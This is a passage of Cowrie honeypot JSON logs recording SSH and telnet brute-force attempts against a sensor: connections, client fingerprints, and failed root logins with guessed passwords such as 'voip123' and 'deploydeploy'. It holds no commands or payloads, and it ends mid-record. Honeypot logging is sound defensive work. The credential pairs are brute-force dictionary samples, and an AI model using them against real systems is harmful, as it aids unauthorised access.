{"eventid":"cowrie.login.failed","username":"root","password":"nopasswd","message":"login attempt [root/nopasswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:16.860663Z","src_ip":"165.154.227.158","session":"2ced8ea16576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:18.079683Z","src_ip":"165.154.227.158","session":"2ced8ea16576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53622,"dst_ip":"10.17.0.5","dst_port":23,"session":"232cb62bd2f6","protocol":"telnet","message":"New connection: 152.42.224.71:53622 (10.17.0.5:23) [session: 232cb62bd2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:19.914549Z"}
{"eventid":"cowrie.session.closed","duration":43.32125449180603,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:22.065352Z","src_ip":"152.42.224.71","session":"0cc9c8059bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.457361221313477,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:24.841974Z","src_ip":"152.42.224.71","session":"0588e63c48bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60232,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e75f3c8f23","protocol":"telnet","message":"New connection: 152.42.224.71:60232 (10.17.0.5:23) [session: a3e75f3c8f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:26.715619Z"}
{"eventid":"cowrie.session.closed","duration":52.42464089393616,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:26.894127Z","src_ip":"152.42.224.71","session":"a82ea78fa959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"384a7a6a72ca","protocol":"ssh","message":"New connection: 52.236.56.129:39970 (10.17.0.5:22) [session: 384a7a6a72ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:28.977110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:28.982145Z","src_ip":"52.236.56.129","session":"384a7a6a72ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:29.050736Z","src_ip":"52.236.56.129","session":"384a7a6a72ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voip123","message":"login attempt [root/voip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:29.348325Z","src_ip":"52.236.56.129","session":"384a7a6a72ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:30.418840Z","src_ip":"52.236.56.129","session":"384a7a6a72ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.127.184","src_port":39872,"dst_ip":"10.17.0.5","dst_port":22,"session":"e00603c70266","protocol":"ssh","message":"New connection: 106.75.127.184:39872 (10.17.0.5:22) [session: e00603c70266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:37.316537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:37.321974Z","src_ip":"106.75.127.184","session":"e00603c70266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:37.563866Z","src_ip":"106.75.127.184","session":"e00603c70266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"move","message":"login attempt [root/move] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:38.981065Z","src_ip":"106.75.127.184","session":"e00603c70266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:40.216341Z","src_ip":"106.75.127.184","session":"e00603c70266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.0426607131958,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:41.821986Z","src_ip":"152.42.224.71","session":"5a3192773280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":23331,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ec228b48f65","protocol":"ssh","message":"New connection: 117.121.214.50:23331 (10.17.0.5:22) [session: 5ec228b48f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:41.877607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:41.882477Z","src_ip":"117.121.214.50","session":"5ec228b48f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"70a781befc6e","protocol":"telnet","message":"New connection: 152.42.224.71:55934 (10.17.0.5:23) [session: 70a781befc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:42.101846Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:42.135959Z","src_ip":"117.121.214.50","session":"5ec228b48f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:43.178332Z","src_ip":"117.121.214.50","session":"5ec228b48f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:44.434769Z","src_ip":"117.121.214.50","session":"5ec228b48f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55946,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a8010b53f91","protocol":"telnet","message":"New connection: 152.42.224.71:55946 (10.17.0.5:23) [session: 4a8010b53f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:45.668756Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41962,"dst_ip":"10.17.0.5","dst_port":23,"session":"d00ef1a98b99","protocol":"telnet","message":"New connection: 152.42.224.71:41962 (10.17.0.5:23) [session: d00ef1a98b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:46.488938Z"}
{"eventid":"cowrie.session.closed","duration":120.00646996498108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:52.082758Z","src_ip":"152.42.224.71","session":"4cd51145fb1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41964,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3789d4a8da","protocol":"telnet","message":"New connection: 152.42.224.71:41964 (10.17.0.5:23) [session: 0e3789d4a8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:53.172613Z"}
{"eventid":"cowrie.session.closed","duration":32.54056262969971,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:31:59.256051Z","src_ip":"152.42.224.71","session":"a3e75f3c8f23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.439091205596924,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:01.540787Z","src_ip":"152.42.224.71","session":"70a781befc6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdcb3be41b6","protocol":"telnet","message":"New connection: 152.42.224.71:52318 (10.17.0.5:23) [session: 3bdcb3be41b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:02.084977Z"}
{"eventid":"cowrie.session.closed","duration":43.19648742675781,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:03.110935Z","src_ip":"152.42.224.71","session":"232cb62bd2f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":38804,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7152b8bbf0c","protocol":"ssh","message":"New connection: 166.1.144.134:38804 (10.17.0.5:22) [session: e7152b8bbf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:10.161188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:10.170600Z","src_ip":"166.1.144.134","session":"e7152b8bbf0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:10.278048Z","src_ip":"166.1.144.134","session":"e7152b8bbf0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploydeploy","message":"login attempt [root/deploydeploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:10.721503Z","src_ip":"166.1.144.134","session":"e7152b8bbf0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:11.826524Z","src_ip":"166.1.144.134","session":"e7152b8bbf0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58700,"dst_ip":"10.17.0.5","dst_port":23,"session":"db3fd7e71b79","protocol":"telnet","message":"New connection: 152.42.224.71:58700 (10.17.0.5:23) [session: db3fd7e71b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:15.461792Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ae8dc62a21","protocol":"ssh","message":"New connection: 43.135.139.74:54672 (10.17.0.5:22) [session: 62ae8dc62a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:19.312610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:19.316905Z","src_ip":"43.135.139.74","session":"62ae8dc62a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:19.385244Z","src_ip":"43.135.139.74","session":"62ae8dc62a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:19.694002Z","src_ip":"43.135.139.74","session":"62ae8dc62a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:20.766629Z","src_ip":"43.135.139.74","session":"62ae8dc62a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48502,"dst_ip":"10.17.0.5","dst_port":23,"session":"228f5c8b09a1","protocol":"telnet","message":"New connection: 152.42.224.71:48502 (10.17.0.5:23) [session: 228f5c8b09a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:21.157189Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48510,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f5593a2be3","protocol":"telnet","message":"New connection: 152.42.224.71:48510 (10.17.0.5:23) [session: 14f5593a2be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:23.878835Z"}
{"eventid":"cowrie.session.closed","duration":40.221004247665405,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:26.709817Z","src_ip":"152.42.224.71","session":"d00ef1a98b99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":38530,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e1262ebb73d","protocol":"ssh","message":"New connection: 165.154.6.86:38530 (10.17.0.5:22) [session: 8e1262ebb73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:28.216722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:28.221700Z","src_ip":"165.154.6.86","session":"8e1262ebb73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:28.439309Z","src_ip":"165.154.6.86","session":"8e1262ebb73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:29.341274Z","src_ip":"165.154.6.86","session":"8e1262ebb73d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:30.561186Z","src_ip":"165.154.6.86","session":"8e1262ebb73d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":26450,"dst_ip":"10.17.0.5","dst_port":22,"session":"a011a9f5c8b5","protocol":"ssh","message":"New connection: 165.154.227.158:26450 (10.17.0.5:22) [session: a011a9f5c8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:37.999247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:38.003745Z","src_ip":"165.154.227.158","session":"a011a9f5c8b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-he